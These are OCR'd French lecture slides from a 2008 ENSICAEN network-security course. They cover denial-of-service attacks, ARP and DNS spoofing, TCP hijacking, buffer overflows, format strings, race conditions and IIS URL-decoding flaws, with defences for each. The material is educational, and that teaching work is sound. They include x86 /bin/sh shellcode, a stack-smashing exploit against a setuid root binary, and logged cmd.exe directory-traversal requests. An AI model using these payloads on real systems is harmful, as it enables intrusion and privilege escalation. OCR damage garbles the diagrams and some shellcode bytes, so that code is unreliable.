 DOS local (épuisement des ressources)
— Saturation de lI'espace disque
— répertoires recursifs
— boucle infinie de fork ()
 DOS par le réeseau (consommation de bande passante)

— Reéassemblage de fragments (Ex: teardrop, ping of the
death)

— Flags TCP illégaux
— SYN flood
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DOS par « SYN flood »

o Attaque par inondation de SYN avec une

adresse source usurpee (spoofée) et
Inaccessible.

e La machine cible doit gérer une liste de
connexions dans | 'état SYN_RECV .

« Une attaque est visible si la commande

netstat —an indiqgue un grand nombre de
connexions dans l'etat SYN_RECV.

06/10/2008 -ENSICAEN -  (c) dp
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Parades au SYN Flood

* Allongement de la longueur de la file
d'attente.

 Réduction de la durée de temporisation
d'etablissement d'une connexion.

 OS modernes sont protéges (SYN Cookie,
SYN cache, ...).

06/10/2008 -ENSICAEN -  (c) dp
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Connexion par fragments IP

 Une demande de connexion peut étre
scindée en 2 fragments (tiny
fragments):

— ler fragment contient un paquet IP de 60
octets + 8 octets TCP (ports + séquence)

— 2eme fragment contient les flags de
connexions.
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Recouvrement de fragments

e Un paquet TCP peut leurrer un filtre IP
en se scindant en 2 fragments qui se
superposent:

— ler fragment: paquet TCP avec flags SYN
et ACK a 0.

— 2eme fragment contient la vrai demande
de connexion avec un offset de 1 (octet).
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DOS sur la pile IP

e Teardrop

— Concerne les anciens noyaux Linux,
Windows NT 4.0 inféerieur au service pack
3 et Windows 9x non corrigé.

— Des chevauchements de fragments IP
orovoquent un arrét ou un redémarrage de
a machine.
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DOS sur la pile IP

o Attague LAND : adresse source identique a
| 'adresse de destination.

* WinNuke : paguet OOB envoyé sur le port
139.

e Ping of the Death:
http://www.insecure.org/sploits/ping-o-
death.html

o Attaque en UDP flooding; exemple: echo
(UDP 7)/chargen (UDP 19).
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DNS cache poisoning

 Reroutage d'un site sur un site pirate

— —
.
AP 3:;,50“‘? ﬂmﬂ E - D
el o j
\Nw_dﬂ L] v ggggggg T
- Serveur DNS Sepveur WIWWWY
?(e'(\\iozioﬁ\ | r
N S (<D
(lwp\(a

2

Utilisateur
*Cp % — \ h _ .
St Yy cache poisoning
@%’%ooo' % rl
% [—

1A g
nnaontn —
Site pirate
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Exemple: BIND

*\Vulnérabilité decouverte en juillet 2007 touchant de

nombreuses versions de BIND (CVE-2007-2926 , BID-
25037).

*Description du CERTA:

"Une vulnérabilité a été identifiee dans BIND. La faille
concerne le génerateur d'identifiants de requétes,
vulnérable a une cryptanalyse permettant une chance
élevee de deviner le prochain identifiant pour la moitié
des requétes. Ceci peut étre exploité par une personne
malintentionnée pour effectuer du cache poisoning et
donc contourner la politique de securité. "
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Exemple faille DNS cache
poisoning

LCI.fr

“endredi 11 juillet 2008

couall - France - Monda - Economis - Boursa - Sclances Peopla -+ E—I:IHI.I’!'I-“ T TF1 =

Meédiacast

| - Une faille menacait le réseau
mondial

= Un spéciallsto an sécurit
. Informatique a découvert 11 y
: 'hh.i'qrmm quelques mols une faille qul aurai

pu permottre a des plrates di

[ =
" s .
- m : contréler I'Internet mondial.

« Une solutlon a éé mise au poin

__ : grice & la collaboration de tow:
- les grands acteurs de I'Interneat.

H.Z: [avec agence) - le JRUO72008 -

E .;. 11h17
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arp spoofing

« Pollution des caches arp avec de fausses associations adresse
mac/adresse IP.

 Permet des attaques de type "man in the middle", DOS,
transgression des regles d'un firewall par spoofing.

—S

Routeur
192.468.16.1
0:00:0L:18:A7.7B

| arp-reply
|eltecocoa] |od| 192.168.16.10

Switch
00:50:04:47:5F:5F

Pirate:
Poste diisatar 00:50:04:47:5F:5F  00:50:04:47:5F &
Table arp:
192.168.16.1 is
00:00:0C:18:A7:7B
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arp spoofing

 Exemple d'outil d'arp spoofing:
 arp-sk (unix) winarp-sk (windows)
http.//www.arp-sk.org
* WIinArpSpoof

(Untitled) - Ethereal E@

Eile Edit View Go Capture Analyze Statistics Help
. BEx®E Qen [ DFE QQQ[ D HEH X
"
http -//n extse Curlty- net @Ei\ter:ﬂ j 4 Bxpression J%Qeafl v ADDWJ
Mo . | Time Source Destination rotoco| Info
7 i
2 0.159983 .168.16. 84.119.67.140 3014 > 57636
3 0.160395 192.168.16.38 183.49.200.22 HTTP  Continuation
4 0.260418 102.168.16.3% 82.72.166.98 TCP 3027 > 30075 [svn] Seq=0 Ack
5 0.260786 192.168.16.38 62.219.54.228 TCP 3028 » 1536 [SYN] Seq=0 Ack
6 0.261378 192.168.16.38 193.49.200.22 TCP 3029 > 3128 [SYN] Sed=0 Ack=0 M55=1460
7 1.165863 152.168.16.38 68.100.185.210 TCP 3017 > 4436 [svN] Seq=0 Ack=0 W55=1460
§ 1.166238 102.168.16.3% 193.49.200.22 TCP 3019 » 3128 [sYN] Seg=0 Ack=0 M55=1460
9 1.166549 192.168.16.38 80.98.187. 202 TCP 3018 » 1107 [SYN] Seg=0 Ack=0 M55=1460
Untitled - WinArpSpoof v0.5.3 Q@\x 10 1.166856 192.168.16.38 193.49.200.22 HTTF  Continuation
File Action View kel 11 1.167318 102.168.16.3% 193.49.200.22 TCP 3015 > 3128 [sYN] Seq=0 Ack=0 wi M55=1460
2l = b 12 1.167630 .16, 82.128.185. TCP 3016 » 4948 [SYN] Seq=0 Ack=0 Wi M55=1460
H &% 25 25 13 1.344878 24.148.213.138 TCP 3032 > 1978 [SYN] Sec=0 Ack=0 Win=65535 Len=0 MS5=1460
e TR (S | ANt (VelR 14 1.367001 68.83.77.203 TCP 3030 > 4905 [SYN] Seq=0 Ack=0 Wi 5 Len=0 M55=1460
15 1.608542 68.83.77.203 TCR 3033 > http [sYw] seg=0 Ack=0 wi 5535 Len=0 mss=1460
‘Q‘D Address Hostname MAC Address Status | Sent Traffic.  Recv Traffic - I6 2.171524 153,49, 200,22 HITP  continuatio
H192.168.16.1 ciscoc.ecole.ensica... 00-DO-BC-EE-.. Gate. o] o] 17 2.272213 63.245.220.78 TCP 3020 » 30446 [SYN] Seq=0 Ack=0 wWin=65535 Len=0
0 192.168.16.3 check ecole ensica...  00-0C-0C-00-.. MNormal 0 0 18 2.272567 24.131.1.71 TCR 3021 > 4078 [svN i
0 192.168.16.16 dnsc.ecole.ensicae... 00-50-04-47-... Normal 0 0 19 2.360256 71.12,200,179 TCP 3035 > 4834 [SYN] Seq=0 Ack=0 MS5=1460
o | 80-CE-FO- 20 2.369628 63.246.176.19 TCP 3036 » seq=0 Ack=0 M55=1460
- 135 122 1(65 fg Sert”c e?:o\e S gggigi;% Eorma} 1'9% 8 21 2.370214 82.4.220.6 TP 3037 >
) AT ERolg:Shglode orma 22 2.538518 65.54.238.20 TP 3038 »
0 192,168,169 hp2524-0.ecole.en... 00-0A-57-80-... Normal 0 0 23 2.976332 68.83.77.203 TP 3031 &
[ 192.168.16.14 hp2524-2.ecole.en... 00-08-83-94-... Normal 0 0 24 3.881786 24.131.1.71 TCP 3023 >
0 192.168.16.17 hp2524 ecole.ensi... 00-O4-EA-8C-.. Normal 0 0 25 3.882194 69.245.220.78 TCP 3022 > https [SYN] Seq=0 Ac M55=1460
0102168 16,15 O aU el B O008.630C-. Nerrl 0 0 26 4.284008 24.148.213.138 TP 3032 > 1978 [sYM] Seq=0 Ack=0 M55=1460
0 192.168.16.27 pe lbde.ecole.ensic... 00-0C-6E-77-... Normal 480 0
0192.168.16.23 x850.ecole ensica... 00-40-8C-45- Normal o] (o}
’3 192.168.16.26 16570 ecole ensica... 00-40-8C-45- Normal o} o]
[0'192.168.16.25 dvdtour ecole.ensi... 00-40-8C-41-..  Normal o] o]
Fj‘ 192.168.16.34 pelanciens.ecole.e... 00-OF-1F-E6- Normal 0 0
f’i‘ 192.168.16.38 linuxensia.ecole en... 00-40-F4-B2- Forw. 76,478 o]
[1192.168.16.39 linuxensib.ecole.e...  00-08-54-1C-... Mormal 0 0 =
[09/26/05 11:12:51]  (null) ~ —|
[09/26/05 11:12:51] Stopped spoofing! 0000 08 00 46 d9 06 1b 00 40 T4 bz 85 co 08 00 45 00 =
[09/26/05 11:12:50] Start spoofing! 0010 00 30 cL fb 40 00 80 06 dS df co aB 10 26 44 53
[00/26/05 11:12:55] IP-forwarding turns on 0020 4d <b Ob d7 0L bh 93 79 S5Se 41 00 00 00 00 70 02
[09/26/05 11:14:04] IP-forwarding error: 0030 FF Ff 20 26 00 00 02 04 05 b4 01 O1 04 02 ¥ s
[09/26/05 11:14:04]  (null) ; -
File: (Untitled) 2046 bytes 00:00:04 ] P 26D 26 M: 0 ’
Ready UM 00:06:32
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Parades contre le arp
spoofing

— Utiliser des associations statigues

— Survelller les changements d'association:

e arpwatch (unix)
http.//www.securityfocus.com/data/tools/arpwatch.tar.Z

« WINARP Watch (Windows)

http.//www.securityfocus.com/data/tools/warpwatch.zip

= WinARP Watch
File Hel

i4:... EBrror: GetlphetTable fail
140, Added 178.16.1.2 /A
HAS CHAMNGED! 178.16.1.2
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tcp hijacking

Session non cryptée établie
{Exemple: telnet)

ffffffff
(((((((

{{{{{{{{

Utlllsateur 1 Ut|||§ ET t eur2

[m]

Pirate
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tcp hijacking

 Numeros de sequence TCP pendant les
échanges:
— Utl = Seq x PSH/ACKYy (10) = Ut2
— Utl € Seqy PSH/ACK x+10 (20) €« Ut2
— Utl = Seq x+10 PSH/ACK y+20 (30) = Ut2
— Utl € Seq y+20 PSH/ACK x+40 (10) < Ut2
— Pirate - Seq x+40 PSH/ACK y+20 (30)-> Ut2
— Utl € Seq y+30 PSH/ACK x+70 (20) <Ut2

 Exemple d'outil de tcp hijacking: hunt

— http://lwww.spenneberg.org/TCP-Hijacking//
06/10/2008 - ENSICAEN -  (c)dp
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Smurf

 Envoie d'une trame ICMP "echo
request” sur une adresse de diffusion.

« Exemple: ping 193.49.200.255

 Méthode utilisée pour déterminer les
machines actives sur une plage IP
donneée.
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Attague en Smurf

* Objectif: écrouler une machine
o 3 parties: l'attaquant, l'intermédiaire, la victime

Trame ICMP sur adresse de diffusion du siterela
Adresse source: |P victime

—1 INnternet ‘lﬁ
=

“ictime
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Parades au smurf

 Interdire la reponse aux trames ICMP
sur les adresses de diffusion:

— AU niveau routeur
— AU niveau machine
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DDOS

 Distributed Denial Of Service.
« Type d’attaque tres en vogue.

« L ’objectif est d 'écrouler une machine et/ou saturer la bande
passante de la victime.

* Necessite plusieurs machines corrompues.

o Attaque popularisée le 14 février 2000 sur quelques sites .com
renommes (ebay, cnn, amazon, microsoft, ...). Le coupable «
Mafiaboy », 15 ans, est arrété au Canada le 15 avril et
condamné a 8 mois de détention. Il a cause des pertes
estimées a 1,2 milliards de dollars en 24 heures.
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Quelgues exemples de DDOS

 Tribe Flood Network (TFN)

* Trinoo

* TEN2K

 Trinity (utilise les serveurs irc)
* elc.

e Plus d'informations sur
nttp.//staff.washington.edu/dittrich/misc.ddos

e Parades:

— étre attentif aux ports ouverts

— find_ddos sur http://www.nipc.gov
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« Utilisation » des DDos

 Un botnet de 1000 machines peut saturer la bande
passante d'une grande entreprise (1000 * 128Kb/s =
128 Mb/s).

« Une entreprise peut acheter les services d'un « bot
herders » pour attaguer un concurrent.

* « Ddos extortion »: des pirates peuvent menacer des
sites de commerce en ligne (Exemple: la société
Canbet en Angleterre).
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Exemple de ddos

Une attaque DDoS paralyse de nombreux sites
Date: 16 juin 2004 a 12:07:44 CEST
Sujet: Securité informatique, Virus

Hier matin, une attaque des serveurs de la compagnie Akamai a rendu certains sites
inutilisables. De nombreux sites dont ceux de Microsoft, Google, Yahoo, FedEx, Xerox et
Apple étaient injoignables pendant une courte péeriode. Akamai a déclaré que plusieurs de
ses clients avaient subit une attaque DDoS, ce qui avait provoqué un crash de leurs
serveurs DNS. Les serveurs DNS n'étaient alors plus capables de traduire les noms de
domaines en adresses IP, ce qui rendait les sites inaccessibles.

Les probléemes ont duré plus de deux heures mais certains sites sont revenus en ligne plus
rapidement grace a leurs serveurs DNS de secours. On ne sait pas encore d'ou provenait
I'attaque, ni quelle était sa cible. Certains virus ont dé(:jé utilisé des techniques similaires,
notamment Netsky qui ciblait les réseaux d'échange de fichiers Kazaa, eDonkey et eMule.
En mai dernier, Akamai avait eu des problemes technigues. Les sites de Symantec et
Trendmicro étaient alors inaccessibles pour un grand nombre d'internautes, ce qui les
empéchait de recevoir les mises a jour de leurs antivirus.
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Vulnérabllités applicatives

* Beaucoup d'applications sont vulnérables dues a de
la mauvaise programmation (par manque de temps,
de motivation, ...) ou volontairement (aménagement
d'un point d'entrée, ...).

* Toutes les applications ont besoin de sécurité:
services réseaux (daemons), les applications
telechargées (applet java, ...), les applications web
(scripts cqi, ...), les applications utilisées par
I'administrateur ou disposant d'un bit setuid/setgid,
visualisateur de données distantes, ...

06/10/2008 -ENSICAEN -  (c) dp

94



Vulnérabillités les plus
courantes

» Les vulnerabilités peuvent étre due:

— "backdoors" laissées volontairement ou
iInvolontairement sur un service par le
programmeur (Ex: rlogin sous AIX V3)

— Erreurs de programmation
* Debordements de tampons (buffer overflow)
e Chaines de format
« Entrées utilisateurs mal validees
» Les problemes de concurrence
e etc.
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Buffer Overflow

* Appelée aussi "buffer overruns"; c'est
une vulnérabilité extremement etendue
(environ 2/3 des vulnérabilités).

» Ecriture de données en dehors de la
zone allouée (pile ou tas).
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Exemple code erroné

int main (int argc, char **argv)
{

char buf [8] ;

strepy (buf,argv [1]) ;

}

fichier: demo.c

Exécution:
[dp@ns bufferoverflow]$ ./demo aaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault

Sous debugger:
[dp@ns bufferoverflow]$ gdb demo
(gdb) run aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Starting program: /users/dp/bufferoverflow/demo
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Program received signal SIGSEGV, Segmentation fault.
0x61616161 in ?? ()
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Buffer Overflow

« Si le buffer est une variable C locale, on pourra
essayer de forcer la fonction a executer du code
pirate ("stack smashing attack").

 Beaucoup d'applications écrites en langage C sont
vulnérables car la simplicité et l'efficacité de ce
langage ont prévalu sur les contrbles d'intégrité
laissés a la responsabilité du programmeur. Mais le
probleme existe eégalement dans d'autres langages
de programmation.
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Gestion de pile sous Unix

command line arguments
and shell environment
Sthk Storagefile
?
heap
— symbol table
datainitialized datainitiaized
text text
. linker header &
Process in memory

magic number
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Gestion de pile sous Linux
X86

e gcc —S stack.c

void function (int a,int b,int c)
{

char buffer1 [5] ;

char buffer2 [10] ;
/

void main ()

{
function (1,2,3) ;

}
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Gestion de pile sous Linux
X80 :

main:
-text pushl %ebp
.align 4 movl %esp,%ebp
.globl function pushl $3
type function,@function pushl $2
function: pushl $1
pushl %ebp call function
movl %esp,%ebp addl $12,%esp
subl $20,%esp L2:
.L1: leave
leave ret
ret
.Lfe1:
.size function,.Lfe1-function
.align 4
.globl main

type main,@function

\ 2
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Gestion de pile sous Linux
X806

user stack

(@

b

a

ret

sfp

bufferl

buffer2
heap

bss
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Code Shell

* Le buffer overflow va étre utilisé pour
provoquer I'exécution de /bin/sh, shell présent

dans toutes les distributions unix.

e Génération du code assembleur de la
séquence: execve (argv[0],"/bin/sh",NULL)

 Exemple code Linux x86:

char shellcode[] =
"\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x317\xc0\xaa"
"Ix89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04 "
"Ix03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xFff"

"\xff\xff/bin/sh";
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Exemple Buffer
Overflow/Code Shell

char shellcode[] =
"\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
"\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
"\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
"\xff\xff/bin/sh";
char large_string [128] ;
void main ()
{
char buffer [96] ;
inti;
long *long_ptr = (long *) large_string ;
for(i=0;i<32;i++)
*(long_ptr + i) = (int) buffer ;
for (i=0; i <strlen (shellcode) ; i++)
large_string [i] = shellcode [i] ;
strcpy (buffer,large_string) ;
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Exemple
Buffer/Overflow/Code Shell

ret (4)
A
sfp (4)
2 long_ptr (4)
=
o
N :
= i (4)
>
ol
=
“ buffer (96)
large_string (128)
shellcode
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Stack Smashing

 Dans la réalité, les applications ne

com

shell.

e L'ex

portent naturellement pas de séquence

nloitation d'un "buffer overflow" nécessite

d'essaye de piéger l'application avec la ligne

de c

ommande, les variables d'environnement

shell, les entrées de données interactives, ...
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Exemple d’application

char shellcode[] =

"\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xcO0\xaa\x89\xfO\x89\xfO\xab\x89\xfa\x31\xcO\
xab\xb0\x08\x04\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"\xff\xff/bin/sh™:

void main ()
{
char buffer [128] ; inti ; long address = (long)&buffer ;
for (Ii=0;1<128; i++) buffer [i] = 0x90 ;
buffer [12] = address >> 0 & Oxff ; buffer [13] = address >> 8 & Oxff ;
buffer [14] = address >> 16 & Oxff ; buffer [15] = address >> 24 & Oxff
for (i=0 ;i< strlen (shellcode) ; i++)
buffer [128 - strlen (shellcode) + i] = shellcode [i] ;
execl ("/users/dp/bufferoverflow/demo","demo”,buffer,0) ;

}

-rws--x--x 1 root root 11800 Sep 16 11:4 /users/dp/bufferoverflow/demo
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Stack Smashing Prevention

* Les fonctions de manipulation de chaines sans contrble de longueur

sont vulnérables.
e Liste non exhaustive:

gets (str)

fgets (stdin,str,10)

strcpy (strl,str2)

strncpy (strl,str2,10)

strcat (strl,str2)

strncat (strl,str2,10)

\ 4

scanf ("%s",str)

scanf ("%10s",str)
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Stack Smashing Prevention

« Ultilisation de logiciels d’audit de code source;

Exemple: logiciel RATS (Rough Auditing Tool for
Security)

http://www.securesw.com/download_rats.htm/

La pile peut étre rendu non executable:
— Patch linux: http://www.openwall.com/linux
— Solaris: ajout dans /etc/system:

set noexec_user _stack=1

set noexec _user_stack log=1

Certains compilateurs peuvent mettre un repere
("canary") devant l'adresse de retour afin de la
protéger (stackguard dérivé de gcc).
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Exemple stackguard

sfp

ret

buffer

En cas d’attaque

lcanary | . onécraselebuffer, canary et

ret

« avant le retour de lafonction,
le programme veérifiele
contenu de canary et détecte
I”Intrusion

e canary doit ére genére

06/10/2008
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Exemple de vulnérabilité

J Fichier  Edition  Affichage Faworz gul_ils'.
= =S ) [#] ral

Frécedente =T e Arréter Actualizer Démarrage

Fiechercher  Favaris Historique ‘ Caurrier Irprirner Editicn Discussion  FReal.com
| Adresse (@] hitp:/Avm kb, cert. orgvuls/id/1 96945 =] ok

I Liens =] Guide des chaines & Hotmaill &7 Internst démarrage & ] Le meilleur duw'eb & Microzoft & Personnaliser les liens & ] Windows Update @Windows

CERT"Coordination Center Incidents, guick fixes security pr:ilcl.h:ss &.rrwl'ﬁarbﬂﬂy traiming &

& vulmerabilities & evaluations research & analysis educaiticm
querability  Yulnerability Note VU#196945 =
Database
ISC BIND 8 contains buffer overflow in transaction signature (I'SI() handling code
Bearch

Vulnerability Motes Overview

Wulnerability Motes

e — The Berlkeley Internet Mame Domain (BIND) iz an implementation of the Domain Mame System (DITE) by the Internet Software Consortium
Help Informaltion

(IS5C). There is a buffer everflow wulnerability in BIMND 8.2 =, which may allew remote intruders te gain access to systemns running BITTD. DITEE
servers running BIND 8 are responsible for the majority of name resolution services on the Internet. :

View Notes By

Mame

G Nt e This vulnerability has been successfully explotted 1 a laboratory envirenment and presents a senous threat to the Internet infrastructure.
CVE Mame I. Description

Diate Public

During the processing of transaction signatures, BIND performs a test for signatures that fail to melude a valid key. If a transacton signature is
found in the request, but a wvalid kew i3 not included, BIND slips normal processing of the request and jumps directly to code designed to send
an error response. Because this code fals to mitalice variables in the sane manner as the normal processing, later finction calls make mvalid E
et Mot assumptions about the size of the request buffer. In particular, the code to add a new (valid) signature to the response may overflow the request.
buffer and overwrite adjacent memery on the stack or heap. Owverwriting this memory can allow an mtruder (in conjunction with other buffer
overflow exploit techriques) to gain unauthorized access to the vulnerable swstem.

Date Updated

AIRCERT The Hawed program loge 13 distnbuted ower several funchon calls withun the BIND software. "When the attacker sends a UDP request, the

!@ Terming ’_ I_ |’ Internst
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Chailnes de format

* Probleme connu depuis juin 1999 et exploite
depuis juin 2000.

» Leur exploitation ont conduit a des
vulnérabilités "remote root" (wu-ftpd, linux
tpc.statd, ...) et "local root" (OpenBSD fstat,

)

e De nombreuses vulnérabilités sont
probablement encore a venir.
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Fonctions C de formatage

 Exemples de telles fonctions: toute la famille
des fonctions printf, syslog.

e Fonctions acceptant un nombre variable de
parametres dont l'un est une chaine de
format.

* Les variables affichées sont converties en
une representation affichable et
comprehensible par I'homme.
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Fonctionnement d'un printf

 printf ("les nombres valent %d %d\n",a,b);

b

a

chaine de format

e 2 particularités dans les fonctions de la
famille printf:

— printf ("%s%n\n",chaine,&count);
— printf (chaine) ;
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Xploitation d'une chaine de
format

 Modification de la valeur de la variable target:
#include <stdio.h>
main (int argc,char **argv)
{
char inbuf[100];
char outbuf [100] ;
int target = 33 ;
memset (inbuf,\0',100) ;
memset (outbuf,\0',100) ;
read (0,inbuf,100) ;
sprintf (outbuf,inbuf) ;
printf ("%s",outbuf) ;
printf ("target = %d\n" target) ;
}
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Format String + Buffer

Overflow
« Exemple: vulnerabilité de gpop 2.53

#include <stdio.h>
void fonction (char *user)
{
char outbuf [512] ;
char buffer [612] ;
sprintf (buffer,"ERR Wrong command: %400s",user) ;
sprintf (outbuf,buffer) ;
/

void main ()

{
char user [128] ;

read (0,user,sizeof (user)) ;
fonction (user) ;

}
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Vulnérabllité qpop 2.53

e Objectif: faire deborder outbuf sur l'adresse
de retour; celle ci pointera sur user.

* user:
"Shell code" "%97c" "Adresse de user]

puffer: apres le ler sprintf
"Err Wrong Command : "™  Shell code%97cAdresse de user]

Le 2eme sprintf interprete le %97c; il fait
déborder outbuf.
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CERT® Advisory CA-2001-27 Format String Vulnerability
in CDE ToolTalk

Original release date: October 5, 2001
Last revised: October 17, 2001
Source: CERT/CC

A complete revision history can be found at the end of this file.
Systems Affected
= Systems running CDE ToolTalk

Overview

There is a remotely exploitable format string vulnerability in the CDE ToolTalk RPC database service. This vulnerability could be used to crash the
service or execute arbitrary code, potentially allowing an intruder to gain root access. This vulnerability is documented in YURS95507 .

I. Description

The Common Desktop Environment (CDE) is an integrated graphical user interface that runs on Unix and Linux operating systems. CODE ToolTalk is a
message brokering systemn that provides an architecture for applications to communicate with each other across hosts and platforms. The ToolTalk =

2]
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Race Condition

* Toute ressource (fichiers, structure de
données, ...) peut étre manipulée
simultanément par plusieurs processus ou
plusieurs threads.

» Certaines opérations doivent donc étre
rendues atomiques.

* Les droits d'acces doivent étre tres précis.

 Exemple: quel est danger du programme sur
le transparent suivant, sachant que
I'executable appartient a "root" et possede le
SetUser ID (bit s) ?
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Race Condition

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <sys/stat.h>
#include <sys/types.h>

int main (int argc,char **argv)

{

}

struct stat st ;
FILE *fp ;
if (argc 1= 3)

{ fprintf (stderr,"usage : %s fichier message\n", argv [0]) ; exit (EXIT_FAILURE) ;}
if (stat (argv [1], &st) < 0)

{fprintf (stderr,"%s introuvable\n",argv [1]) ;exit (EXIT_FAILURE) ;}
if (st.st_uid != getuid ())

{fprintf (stderr,"%s ne vous appartient pas !\n", argv [1]) ;exit (EXIT_FAILURE) ;}
if (! S_ISREG (st.st_mode))

{fprintf (stderr,"%s n'est pas un fichier normal\n", argv [1]) ;exit (EXIT_FAILURE) ;}
if ( (fp = fopen (argv [1],"w")) == NULL)

{fprintf (stderr,"Ouverture impossible\n") ;exit (EXIT_FAILURE) ;}
fprintf (fp,"%s\n",argv [2]) ;fclose (fp) ;fprintf (stderr,"Ecriture OK\n") ;
exit (EXIT_SUCCESS) ;
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Fonctions a utiliser

e || faut conserver la totale maitrise d'un fichier lors de
sa manipulation d'un fichier.

 Quelques exemples de fonctions utilisables:

v

Int open (pathname,flag,mode) | Ouverture d'un fichier. Renvoie
un descripteur

fstat (inf fd,struct stat *st) Informations sur un fichier

FILE *fdopen (int fd,char *mode) | Obtenir un flux a partir d'un
descripteur déja ouvert

L J
<
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Fichiers temporaires

* Les applications créent des fichiers

temporaires dans /tmp

o drwxrwxrwt 6 root root 1024 Sep 29 15:01
ftmp

* Probleme quand le nom du fichier temporaire est
previsible et crée par une application root suid:

— Création d'un lien symbolique entre ce fichier et un
fichier systeme critique (/etc/shadow par exemple)

— L'application doit étre ensuite tuée pour gu'elle ne
puisse effacer son fichier temporaire.
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Exemple programme erroné

#include <stdio.h>

void main ()
{
FILE *fp ;
char chaine [80] ;
memset (chaine,\O',sizeof (chaine)) ;
if ( (fp = fopen ("/tmp/stupide”,"w")) == NULL) { exit (1) ; }
read (0,chaine,sizeof (chaine)) ;
fprintf (fp,"%s",chaine) ;
fclose (fp) ;
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Fichiers temporaires

e Création d'un répertoire dans un repertoire
disposant d'un bit "t" (sticky bit):
— Nom de fichier aléatoire.
— Fichier ouvert avec les droits O_ CREAT|O_EXCL
(attention aux disques NFS avec O_EXCL).

« La fonction tmpfile (3) crée un fichier
temporaire dans le repertoire spécifié par la
variable P_tmpdir de stdio.h. Malis pas de
precision sur les droits d'acces.

o Utiliser plutot mkstemp (3) en conjonction avec
umask (2).
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Création d'un fichier
temporaire

#include <stdio.h>
FILE *create_tempfile (char *temp_filename_pattern)
{
int temp_fd,old_mode ;
FILE *tmp ;
old_mode = umask (077) ;
temp_fd = mkstemp (temp_filename_pattern) ;
umask (old_mode) ;
if (temp_fd == -1) { exit (1); }
if (! (tmp = fdopen (temp_fd,"w+b"))) { exit (1) ; }
return tmp ;

}

void main ()

{
char pattern [ ] = "/tmp/demoXXXXXX" ;

create_tempfile (pattern) ;
unlink (pattern) ; /* Effacement */

}
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Exemple de vulnérabilité

osoft Internet Expl

I Fichier  Edition  Affichage Faworiz  Outils 2

= - e _ !'_% I ﬁ i Co B
Frécédents ST Agréter Actualizer  Démarmage | Rechercher  Fawvoris Historique Caurrier Irprirner Discussion Realcom
I .&gresse!@ hittp: A v, securitpfocus. comdcgi-bindvulns-item. pl ?section=discussion&id=2003 Ll p’> (8]
I Lienz 4] Guids des chaines & Hotmaill &7 Internst démarrage & ] Le meilleur duw'eb @] Microzoft & Personnaliser les liens & ] Windows Update &7 windows
I Google v! L! B Searchwieb G- 1 Site | BagsEenk @R oone e - E)Up = 8

2 i AMSTERDAM » GRAND HOTEL HKRASMNAPOLSKY
i . TRAINING NOV 18-20, 2001 « BRIEFINGS NOV 21-22, 2001

5 ] DS s sl NGidE NS v wdirus

Bugtraq | Mailing Lists | Library

RABII ITIES ¥ULMNS

By Wendar
Tripwire Insecure Temporary File Symbolic Link Vulnerability
By Title

info discussion exploit solution credit help B e v hinrd
By Kevword

Tripwire is an open source host-based intrusion detection system actively maintained by the Tripwire Development Tearm. By BugTrag ID

Tripwire insecurely creates files using the mktemp() system call, and does not check for the existence of the file prior to By CVEID

attermpting to create it.

This makes it possible for a local user to launch a symbaolic link attack. As a result, a malicious local user may he able to
ovenarite systemn files, creating a denial of service, or potentially gain elewvated privileges.

Disclaimer | &bout The “ulnerahility Database

Foradditions or corrections please email vuldb@securibyfocus.com

[ET Toming [ [@ et
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Erreurs de décodage d'URL

e Certains caracteres doivent étre "échappes”;
par exemple le passage de parametres a un
CGl, les caracteres encodés sur plusieurs
octets.

o Caractere échappé: %XX ou XX est le code
hexadécimal du caractere a encoder.

 Exemple:
nick=test+param%ES8tre&channel=France

e Des serveurs webs peuvent ne pas décoder
de maniere propre.
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Erreur de décodage d'URL

* Un serveur web est amené a prendre une décision en fonction
d'une URL:

— Le chemin indiqué ne doit pas sortir de la racine du serveur
WEB

— L'extension du fichier decide du handler a activer (.cqi, .jsp,
...); un fichier se terminant par .jsp%00.html peut étre
consideré comme un fichier html par les mécanismes de
sécurité mais exécuté comme du code java (Java Server
Page).

— L'utilisateur doit avoir les permissions adéquates pour
acceder au fichier ou repertoire indiqué.

 Beaucoup de serveurs web effectuent des tests de sécurité
avant le décodage et non apres.
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Etude de cas

e Microsoft IIS 4.0 et 5.0 était vulnérable au probleme: "MS
lIS/PWS Escaped Characters Decoding Command Execution
Vulnérability".

o Detail sur http://www.securityfocus.com/cqgi-bin/vulns-
item.pl?section=discussion&id=2708

« Correctif sur
http://www.microsoft.com/technet/security/bulletin/MSO01 -

026.asp

 Chaque requéte subit le traitement suivant:
— décodage.
— test de sécurité.

— si le test de securité est valide, décodage a
nouveau avant utilisation.
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IS : Etude de cas

e On tente d'exécuter une commande sur le

systeme distant. besoin de transmettre la
chaine ..\..

« Codage: ..%5c.. > Echec
 Double codage: ..%255c.. - Succes

* Plusieurs exploits disponibles, par exemple
execiis.c par Filip Maertens, filip@securax.be

e |IS souffre aussi de la vulnérabilité "NT IIS
MDAC RDS vulnerabilité (BugTraq ID 529).
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Exemples d'attagque

Données extraites du fichier de log de
http://www.ensicaen.fr

host-213-191-162-202.warsun.com - - [27/Aug/2004:07:42:22 +0200] "GET
/scripts/..%255¢c%255c¢../winnt/system32/cmd.exe?/c+dir" 404 -

195.224.89.179 - - [28/Aug/2004:14:17:43 +0200] "GET
/scripts/..%255¢c%255c¢../winnt/system32/cmd.exe?/c+dir" 404 -

artemisa.escet.urjc.es - - [05/Sep/2004:20:17:35 +0200] "GET
/scripts/..%255¢c%255c../winnt/system32/cmd.exe?/c+dir" 404 -

195.167.240.188 - - [08/Sep/2004:03:53:14 +0200] "GET
/scripts/..%255¢c%255¢../winnt/system32/cmd.exe?/c+dir" 404 -

128.192.164.95 - - [10/Sep/2004:02:46:42 +0200] "GET
